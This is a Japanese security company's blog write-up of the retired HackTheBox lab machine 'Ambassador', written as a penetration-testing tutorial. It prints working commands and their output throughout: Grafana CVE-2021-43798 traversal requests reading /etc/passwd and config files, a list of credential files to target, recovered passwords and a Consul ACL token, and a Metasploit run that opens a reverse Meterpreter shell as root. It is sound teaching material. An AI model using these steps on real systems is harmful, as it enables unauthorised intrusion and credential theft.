株式会社Ninjastars 技術系ブログ

「本質的安全を提供し、デジタル社会を進化させる!!!」

HackTheBoxにてペネトレーションテストを学ぶ

株式会社Ninjastars
セキュリティエンジニア:ミナト

今回はHackTheBoxと呼ばれるプラットフォームにて、ペネトレーションテストやOffensive Securityを学ぶことができるCTF「Machines」のWriteupを書きたいと思います。
HackTheBoxとは、サイバーセキュリティトレーニングのためのオンラインプラットフォームであり、ペネトレーションテストだけでなくサイバーセキュリティに関する様々なスキルを身に付けることが可能です。
app.hackthebox.com

今回はペネトレーションテストについて学ぶために、「Machines」の中の1つである「Ambassador」のWriteupを書きます。
「Ambassador」は初心者~中級者向けのmachineであり、本記事にてペネトレーションテストを知らないエンジニアの方に、ペネトレーションテストのイメージをしていただければ幸いです。また、セキュリティエンジニアの方にとっても本記事より何か学ぶ点などがありましたらありがたい限りです。
*「Ambassador」は retired machine であり、ご自身で挑戦される際にはHackTheBoxのサブスクリプションに登録する必要があります。

Ambassador

環境

Linux kali 6.1.0-kali5-amd64

筆者の環境では Kali Linux を使用したため、本記事で使用しているツールが読者の方の環境にインストールされていない可能性がありますが、ご了承ください。
デフォルトで Kali Linux にインストールされていないツールも使用していますが、適宜皆様でインストールお願いいたします。

Writeup

では早速始めていきましょう。
まずはペネトレーションテスト(外部サーバーへの侵入)の大まかな流れを整理したいと思います。

  1. ポートスキャンを実行
  2. 開放された各ポートにて稼働するサービスの調査
  3. 各サービスの既知の脆弱性(CVE)を調査
  4. 各サービスのゼロデイの脆弱性を調査
  5. 発見した脆弱性をエクスプロイト
  6. 権限の低いユーザーのシェルを獲得(サーバーへの侵入)
  7. サーバー内部の脆弱性をエクスプロイトし、権限を昇格

こちらの流れはケースバイケースで変更になることもありますが、大きな流れとしては上記のようになります。

ポートスキャン

では、TCPのオープンポートを見ていきましょう。
今回は「RustScan」と呼ばれるポートスキャンツールを使用します。
*今回はUDPのポートスキャンを割愛しています。実際のCTFやペネトレーションテストではTCPだけでなくUDPのポートを確認することも大切です。

コマンドは下記の様になります。

┌──(kali㉿kali)-[~]
└─$ rustscan -a 10.10.11.183 -b 300 -r 0-65535 -t 5000 -- -A

ポートスキャンの結果は下記の様になりました。

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLYy5+VCwR+2NKWpIRhSVGI1nJQ5YeihevJqIYbfopEW03vZ9SgacRzs4coGfDbcYa+KPePbz2n+2zXytEPfzBzFysLXgTaUlDFcDqEsWP9pJ5UYFNfXqHCOyDRklsetFOBcxkgC8/IcHDJdJQTEr51KLF75ZXaEIcjZ+XuQWsOrU5DJPrAlCmG12OMjsnP4OfI4RpIjELuLCyVSItoin255/99SSM3koBheX0im9/V8IOpEye9Fc2LigyGA+97wwNSZG2G/duS6lE8pYz1unL+Vg2ogGDN85TkkrS3XdfDLI87AyFBGYniG8+SMtLQOd6tCZeymGK2BQe1k9oWoB7/J6NJ0dylAPAVZ1sDAU7KCUPNAex8q6bh0KrO/5zVbpwMB+qEq6SY6crjtfpYnd7+2DLwiYgcSiQxZMnY3ZkJiIf6s5FkJYmcf/oX1xm/TlP9qoxRKYqLtEJvAHEk/mK+na1Esc8yuPItSRaQzpCgyIwiZCdQlTwWBCVFJZqrXc=
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFgGRouCNEVCXufz6UDFKYkcd3Lmm6WoGKl840u6TuJ8+SKv77LDiJzsXlqcjdeHXA5O87Us7Npwydhw9NYXXYs=
|   256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINujB7zPDP2GyNBT4Dt4hGiheNd9HOUMN/5Spa21Kg0W
80/tcp   open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Hugo 0.94.2
3000/tcp open  ppp?    syn-ack
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 21 Apr 2023 01:52:48 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 21 Apr 2023 01:52:12 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 21 Apr 2023 01:52:19 GMT
|_    Content-Length: 0
3306/tcp open  mysql   syn-ack MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 11
|   Capabilities flags: 65535
|   Some Capabilities: SwitchToSSLAfterHandshake, DontAllowDatabaseTableColumn, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, Support41Auth, SupportsLoadDataLocal, FoundRows, ODBCClient, LongColumnFlag, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsCompression, ConnectWithDatabase, LongPassword, InteractiveClient, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: ;;]n'`F8O|GU+ &PR_*<
|_  Auth Plugin Name: caching_sha2_password

Port22, 80, 3000, 3306の4つが開放されていることが判明しました。
ではそれぞれ確認していきましょう。

Port22

Port22ではお決まりのOpenSSHが稼働しています。
ことCTFにおいて、Port22に脆弱性が存在する可能性は極めて低いです。

Port22(SSH)にて取り急ぎ確認すべきことは大きく分けて下記の2つであると考えています。

  1. ユーザーネームとパスワードのブルートフォース攻撃
  2. SSHサーバー(今回であればOpenSSH)自体に存在する脆弱性への攻撃


今回はどちらの攻撃手法に対しても脆弱ではないため、次のポートに移りたいと思います。
SSHへの攻撃手法について詳しく知りたい方は、こちらの記事が参考になります。
book.hacktricks.xyz

Port80

では次にPort80を見ていきましょう。

ブラウザにてアクセスすると、「Ambassador Development Server」というブログが確認できます。

Ambassador Development Server

ブログの中身を見てみると特に重要な情報はなく、「developer」というユーザーがサーバー上に存在することだけが確認できます。

blog

ポートスキャンの結果などから分かるように、Port80では「Hugo」と呼ばれる静的サイトジェネレーターが使用されています。
静的なWebサイトとなると、ユーザーがインプットする箇所がなく攻撃箇所がないと判断することが可能です。
*ユーザーがインプットできる箇所がないからといって、エクスプロイトできないとは限らないです。但しCTFにおいては、静的なWebサイトを起点としたサーバーへの侵入の確率はかなり低いと考えます。

ディレクトブルートフォース
興味深いサブディレクトリが存在する可能性があるので、ブルートフォースしてみましょう。
「dirsearch」でサブディレクトリのブルートフォースを実行します。

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://10.10.11.183/

結果は下記の様になりました。特に興味深いディレクトリは発見されませんでした。

Target: http://10.10.11.183/

[00:43:18] Starting: 
[00:43:27] 403 -  277B  - /.htaccess.save                                  
[00:43:27] 403 -  277B  - /.htaccess.sample                                
[00:43:27] 403 -  277B  - /.htaccessOLD
[00:43:27] 403 -  277B  - /.htaccess.bak1
[00:43:27] 403 -  277B  - /.htaccess_sc
[00:43:27] 403 -  277B  - /.htaccessBAK
[00:43:27] 403 -  277B  - /.htaccess_orig
[00:43:27] 403 -  277B  - /.htaccessOLD2
[00:43:27] 403 -  277B  - /.htaccess_extra
[00:43:27] 403 -  277B  - /.htaccess.orig
[00:43:27] 403 -  277B  - /.ht_wsr.txt
[00:43:27] 403 -  277B  - /.htpasswd_test                                  
[00:43:27] 403 -  277B  - /.htpasswds                                      
[00:43:27] 403 -  277B  - /.html                                           
[00:43:27] 403 -  277B  - /.htm                                            
[00:43:27] 403 -  277B  - /.httr-oauth
[00:43:36] 200 -    2KB - /404.html                                         
[00:44:13] 301 -  317B  - /categories  ->  http://10.10.11.183/categories/  
[00:44:35] 200 -  993B  - /images/                                          
[00:44:35] 301 -  313B  - /images  ->  http://10.10.11.183/images/          
[00:44:36] 200 -    4KB - /index.html                                       
[00:44:37] 200 -    1KB - /index.xml                                        
[00:45:02] 301 -  312B  - /posts  ->  http://10.10.11.183/posts/            
[00:45:09] 403 -  277B  - /server-status                                    
[00:45:09] 403 -  277B  - /server-status/                                   
[00:45:12] 200 -  645B  - /sitemap.xml                                      
[00:45:17] 301 -  311B  - /tags  ->  http://10.10.11.183/tags/  

今回は以上でディレクトリのブルートフォースを終了しますが、実際のCTFやペネトレーションテストでは様々なワードリストを試行することをお勧めします。あるワードリストではヒットしなかったものが、別のワードリストであればヒットするというのは非常によくある話なのです。
このGitHubのレポジトリに様々なワードリストがあるので、良かったら覗いてみてください。
github.com

Port3000

では次にPort3000を見てみましょう。

Port3000は Well Known Port ではないですし、定番なポート番号でもないので netcat を使用して接続してみます。

┌──(kali㉿kali)-[~]
└─$ nc 10.10.11.183 3000 -v
ambassador.htb [10.10.11.183] 3000 (?) open
hello
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request  

上記コマンドで接続後、"hello"というデータを送信してみると、HTTPレスポンスが返ってきました。
ということで、ブラウザよりPort3000にアクセスしてみましょう。

Grafana

どうやら「Grafana」と呼ばれるサービスが稼働しているようです。
上記画像を見ると、バージョン情報が記載されているのがわかります。
このバージョンのGrafanaに脆弱性が存在するか検索してみましょう。

google検索

すると、「Directory Traversal and Arbitrary File Read」ということで「ディレクトリトラバーサルと任意ファイルの読み取り」が可能であることが判明しました。
この脆弱性はCVE-2021-43798として登録されています。
nvd.nist.gov

エクスプロイトコードが公開されていますので、そのPoCを基に実際にエクスプロイトしてみましょう。
今回はエクスプロイトコードを「Exploit-DB」より取得しました。

少し余談ですが、今回のように公開から一定期間経過した脆弱性のエクスプロイトコードは、公になることが多々あります。
エクスプロイトコードはダークウェブでのみ流通していると思われる方もいらっしゃるかもしれませんが、誰でも簡単にエクスプロイトコードにアクセスが可能であるということを頭に入れておいていただければと思います。

話を戻して、ディレクトリトラバーサルをエクスプロイトしてシェルをとりましょう。
まず、先ほどのエクスプロイトコードを見てみます。
www.exploit-db.com

エクスプロイトコードに関する詳しい解説はここでは省略しますが、シンプルに下記のcurlコマンドでエクスプロイトすることが可能です。

┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/passwd

プラグインの名前に関しては、今回は histogram を選択しました。他のプラグインでも本環境のGrafanaにインストールされていれば問題ありません。運が悪いと複数回のTrial and Errorになるかもしれません。

上記コマンドにて、ディレクトリトラバーサルが可能であることが確認できました。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

更に /etc/passwd の内容より、Port80で発見した「developer」というユーザーがサーバー上に存在することが確定しました。

では次にどのファイルの内容を読み取るべきかを考えましょう。
私がディレクトリトラバーサルやLFI(Local File Inclusion)に遭遇した際には、下記の様なファイルを確認します。

/etc/passwd
/etc/shadow
/etc/motd
/home/<username>/.ssh/id_rsa
/home/<username>/.bash_history
/proc/self/environ
/proc/sched_debug
/var/www/logs/access_log 
/var/www/logs/access.log 
稼働サービスのconfigファイル

上記ファイルは一例ですが、これらのファイルを順に閲覧して情報を収集します。
他にどのようなファイルをチェックすべきなのか気になる方は、下記リンクを参照してください。ここではWindowsサーバーにおけるセンシティブなファイルも記載されています。
sushant747.gitbooks.io

結論から言うと今回は、Grafanaのconfigファイルを読み取ることが正解でした。
では実際に確認してみましょう。

Grafanaのconfigファイルは /etc/grafana/grafana.ini なので、ディレクトリトラバーサルを利用して読み取ります。
*Grafanaのconfigファイルは、こちらのドキュメントより判明しました。
Configure Grafana | Grafana documentation

┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/grafana.ini

上記コマンドより、grafana.ini を読み取ることに成功しました。
そして、admin という文字列でgrepすることによって、ユーザーネームとパスワードを取得しました。

┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/grafana.ini | grep admin

# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = messageInABottle685427

では上記のクレデンシャル(admin:messageInABottle685427)にて、Grafanaにログインします。

login

ログインに成功しました。

Grafana内をいろいろと探索してみると、mysql.yaml と呼ばれる Data Source を発見しました。

mysql.yaml

mysql.yaml では、MySQLへのコネクションが定義されているようです。
MySQLのユーザーネームは grafana であることが確認できますが、パスワードが表示されていません。
GUI上でのパスワード変更を試みましたが、下記の様に書かれているため変更は不可能なようです。

This data source was added by config and cannot be modified using the UI. Please contact your server admin to update this data source.

ただ私たちには、ディレクトリトラバーサルという武器があるため、mysql.yaml を読み取ってみましょう。
mysql.yaml は /etc/grafana/provisioning/datasources/ ディレクトリに存在します。
*Grafanaの data source ディレクトリは、こちらのドキュメントより判明しました。
Provision Grafana | Grafana documentation

┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/provisioning/datasources/mysql.yaml

datasources:
 - name: mysql.yaml 
   type: mysql
   host: localhost
   database: grafana
   user: grafana
   password: dontStandSoCloseToMe63221!
   editable: false

ディレクトリトラバーサルにて、MySQLのクレデンシャルを取得することができました。

Port3306

では上記クレデンシャル(grafana:dontStandSoCloseToMe63221!)にて、MySQLにログインしましょう。

┌──(kali㉿kali)-[~]
└─$ mysql -h 10.10.11.183 -u grafana -p'dontStandSoCloseToMe63221!'

どのようなデータベースがあるのか見てみます。
whackywidget と呼ばれるデータベースがあるので覗いてみます。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.10 sec)
mysql> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.08 sec)

users というテーブルがありました。

mysql> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.09 sec)

やりました。ついに developer ユーザーのパスワードを取得しました。
上記パスワードはBase64エンコードされているため、デコードしましょう。

┌──(kali㉿kali)-[~]
└─$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468

無事にパスワードを取得しました。

サーバーへの侵入

取得したクレデンシャル(developer:anEnglishManInNewYork027468)にて、SSHログインします。

┌──(kali㉿kali)-[~]
└─$ sshpass -p 'anEnglishManInNewYork027468' ssh developer@10.10.11.183
ssh_login

サーバーへの侵入に成功しました。

権限昇格

それでは権限昇格に移ります。

developer ユーザーはこのサーバーにおける最高権限を持っていません。
例えば /root ディレクトリに移動しようとすると、下記の様に Permission denied されます。

developer@ambassador:~$ cd /root
-bash: cd: /root: Permission denied

ではまず、root ユーザーへと権限を昇格するために、Linuxサーバー内の情報を収集しましょう。
私がまず権限昇格の情報を集めるために使用するツールが「LinPEAS」です。
github.com

linpeas

上記画像の様に、様々な情報を色付けして出力してくれます。
今回は詳しくは触れませんが、LinPEAS は大量の情報を出力してくれるため、このツールだけで権限昇格の道が開けることも多々あります。

では私が実際に実行した権限昇格の方法をお伝えします。
/opt ディレクトリに移動して、何か興味深いソフトウェアがインストールされていないかを確認します。

developer@ambassador:/$ cd /opt
developer@ambassador:/opt$ ls
consul  my-app

consul と my-app という2つのディレクトリがありました。
consul について検索してみると、「Consul」と呼ばれる、分散システムにおける様々な機能を提供するオープンソースのネットワークサービスソフトウェアであることが判明しました。
更に、「consul privilege escalation」で検索してみると、RCE(リモートコード実行)の脆弱性が存在する可能性があることが分かりました。
*本脆弱性の詳細について詳しく知りたい方は、ご自身で調査していただければと思います。本記事ではエクスプロイトする方法のみをお伝えします。

HashiCorp社の記事によると下記の3つの条件が満たされた場合、RCE(リモートコード実行)が可能になるそうです。

  • The API is available on an interface that can be accessed over the network.
  • Script checks are enabled.
  • ACLs are disabled or an ACL token is compromised.

www.hashicorp.com

1つずつ確認しましょう。

The API is available on an interface that can be accessed over the network
まずはAPIにアクセスできるかどうかです。

公式ドキュメントによると、Port8500でHTTP APIにアクセスできるようです。
developer.hashicorp.com

まずはPort8500が開いているか確認してみましょう。

developer@ambassador:/opt/consul$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN     
tcp        0    208 10.10.11.183:22         10.10.14.17:49690       ESTABLISHED
tcp        0      0 127.0.0.1:8300          127.0.0.1:46313         ESTABLISHED
tcp        0      0 127.0.0.1:8300          127.0.0.1:49447         ESTABLISHED
tcp        0      0 127.0.0.1:46313         127.0.0.1:8300          ESTABLISHED
tcp        0      0 127.0.0.1:49447         127.0.0.1:8300          ESTABLISHED
tcp        0      1 10.10.11.183:41320      8.8.8.8:53              SYN_SENT   
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::3000                 :::*                    LISTEN     
udp        0      0 127.0.0.1:8600          0.0.0.0:*                          
udp        0      0 127.0.0.1:53129         127.0.0.53:53           ESTABLISHED
udp        0      0 127.0.0.53:53           0.0.0.0:*                          
udp        0      0 0.0.0.0:68              0.0.0.0:*                          
udp        0      0 127.0.0.1:8301          0.0.0.0:*                          
udp        0      0 127.0.0.1:8302          0.0.0.0:*  

Port8500が開いていることが分かりました。
ではSSHトンネルを実行して、curlAPIを叩いてみます。

┌──(kali㉿kali)-[~]
└─$ ssh -N -L 8500:localhost:8500 developer@10.10.11.183
┌──(kali㉿kali)-[~]
└─$ curl http://127.0.0.1:8500                                                                       
Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.  

これで Consul API にリクエスト可能であることが判明しました。

Script checks are enabled
では次の条件に移りましょう。

Script checks が有効になっているかどうかです。
Consulのconfigファイルを見てみましょう。

developer@ambassador:/opt/consul$ cat /etc/consul.d/consul.hcl | grep script
#retry_join = ["provider=azure tag_name=... tag_value=... tenant_id=... client_id=... subscription_id=... secret_access_key=..."]
enable_script_checks = true

enable_script_checks がtrueになっており、Script checks が有効になっていることが判明しました。

ACLs are disabled or an ACL token is compromised
最後の条件に移りましょう。

ACLsが無効になっている、またはACLトークンが漏洩しているかのどちらかです。

ACLs(Access Control Lists)が無効になっていないかをまず確認します。
先程と同様にconfigファイルより検索します。

developer@ambassador:~$ cat /etc/consul.d/consul.hcl | grep -A 5 acl
acl {
  enabled        = true
  default_policy = "deny"
  down_policy    = "extend-cache"
}

ACLsは有効になっているようです。

ではACLトークンを取得する方向に切り替えます。
/opt ディレクトリ内に存在した /my-app ディレクトリを覗いてみましょう。

developer@ambassador:/opt/my-app$ ls
env  whackywidget
developer@ambassador:/opt/my-app$ cd whackywidget/
developer@ambassador:/opt/my-app/whackywidget$ ls
manage.py  put-config-in-consul.sh  whackywidget
developer@ambassador:/opt/my-app/whackywidget$ cat put-config-in-consul.sh 
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

いろいろと探索してみると、my-app ではConsulを使用しているようです。
更に、put-config-in-consul.sh の中身を見てみると、CONSUL_HTTP_TOKEN という環境変数が使用されています。
この環境変数ACLトークンと同一であることが公式ドキュメントに記載されています。
developer.hashicorp.com

/opt/my-app ディレクトリでlsコマンドを実行してみると、.gitディレクトリが存在することが判明しました。

developer@ambassador:/opt/my-app$ ls -la
total 24
drwxrwxr-x 5 root root 4096 Mar 13  2022 .
drwxr-xr-x 4 root root 4096 Sep  1  2022 ..
drwxrwxr-x 4 root root 4096 Mar 13  2022 env
drwxrwxr-x 8 root root 4096 Mar 14  2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13  2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13  2022 whackywidget

つまり、Gitレポジトリであることが分かります。
Gitレポジトリであれば、過去にハードコードされたACLキーを取得することができる可能性があります。
git show コマンドで確認してみましょう。

developer@ambassador:/opt/my-app$ git show
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

ビンゴです!ACLトークンが過去バージョンにてハードコードされていました。

これで全ての条件を満たしました。

では早速エクスプロイトしましょう。
方法は色々とありますが、今回は「Metasploit」を使用します。
Metasploitの説明をするととても長くなってしまうのですが、簡単に説明すると、オープンソースペネトレーションテスト用プラットフォームです。様々な脆弱性に対するエクスプロイトコードが備わっており、ペネトレーションテスター御用達のツールです。
*とても便利なツールの一方、脆弱性について詳しく理解していない状態でもエクスプロイトが可能なため、学習目的の方は、Exploit-DBなどで公開されているエクスプロイトコードを読むことをお勧めします。

Metasploitでエクスプロイトする前に、前準備としてSSHトンネルを実行しておきます。(Metasploitは kali linux 側にあるので、SSHトンネルしておかないとエクスプロイトできません。)

┌──(kali㉿kali)-[~]
└─$ ssh -N -L 8500:localhost:8500 developer@10.10.11.183

ではMetasploitでエクスプロイトを開始します。
まず起動しましょう。

┌──(kali㉿kali)-[~]
└─$ msfconsole 

そして該当の脆弱性を選択します。

msf6 > search consul

Matching Modules
================

   #   Name                                                     Disclosure Date  Rank       Check  Description
   -   ----                                                     ---------------  ----       -----  -----------
   0   exploit/multi/http/struts_dev_mode                       2012-01-06       excellent  Yes    Apache Struts 2 Developer Mode OGNL Execution
   1   exploit/multi/http/clipbucket_fileupload_exec            2018-03-03       excellent  Yes    ClipBucket beats_uploader Unauthenticated Arbitrary File Upload
   2   auxiliary/scanner/misc/dahua_dvr_auth_bypass                              normal     No     Dahua DVR Auth Bypass Scanner
   3   post/windows/manage/dell_memory_protect                                   manual     No     Dell DBUtilDrv2.sys Memory Protection Modifier
   4   exploit/linux/http/groundwork_monarch_cmd_exec           2013-03-08       excellent  Yes    GroundWork monarch_scan.cgi OS Command Injection
   5   exploit/multi/misc/consul_rexec_exec                     2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Rexec
   6   exploit/multi/misc/consul_service_exec                   2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Services API
   7   exploit/windows/misc/ibm_director_cim_dllinject          2009-03-10       excellent  Yes    IBM System Director Agent DLL Injection
   8   exploit/unix/webapp/joomla_media_upload_exec             2013-08-01       excellent  Yes    Joomla Media Manager File Upload Vulnerability
   9   auxiliary/admin/http/limesurvey_file_download            2015-10-12       normal     No     Limesurvey Unauthenticated File Download
   10  exploit/windows/local/cve_2020_0668_service_tracing      2020-02-11       excellent  No     Service Tracing Privilege Elevation Vulnerability
   11  exploit/windows/browser/sonicwall_addrouteentry          2007-11-01       normal     No     SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow
   12  auxiliary/admin/http/sophos_wpa_traversal                2013-04-03       normal     No     Sophos Web Protection Appliance patience.cgi Directory Traversal
   13  exploit/windows/antivirus/symantec_endpoint_manager_rce  2014-02-24       excellent  Yes    Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution

Interact with a module by name or index. For example info 13, use 13 or use exploit/windows/antivirus/symantec_endpoint_manager_rce

msf6 > use 6
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

そしてオプションを設定します。

msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5
ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > set lhost 10.10.14.17
lhost => 10.10.14.17

準備が整ったのでいざ実行です。

msf6 exploit(multi/misc/consul_service_exec) > run

[*] Started reverse TCP handler on 10.10.14.17:4444 
[*] Creating service 'AMnCbzYWM'
[*] Service 'AMnCbzYWM' successfully created.
[*] Waiting for service 'AMnCbzYWM' script to trigger
[*] Sending stage (1017704 bytes) to 10.10.11.183
[*] Meterpreter session 1 opened (10.10.14.17:4444 -> 10.10.11.183:32818) at 2023-04-26 03:34:21 -0400
[*] Removing service 'AMnCbzYWM'
[*] Command Stager progress - 100.00% done (763/763 bytes)

meterpreter > shell
Process 2277 created.
Channel 1 created.
pwd
/
whoami
root
f60039f5429c4c9e9c9064650f5244da

rootユーザーになることができました。
これにて「Ambassador」の攻略が終了しました。お疲れ様です!

まとめ

いかがだったでしょうか。
説明を省略した箇所も多々ありますが、ペネトレーションテスト(外部サーバーへの侵入)の流れや面白さについて知っていただければ幸いです。
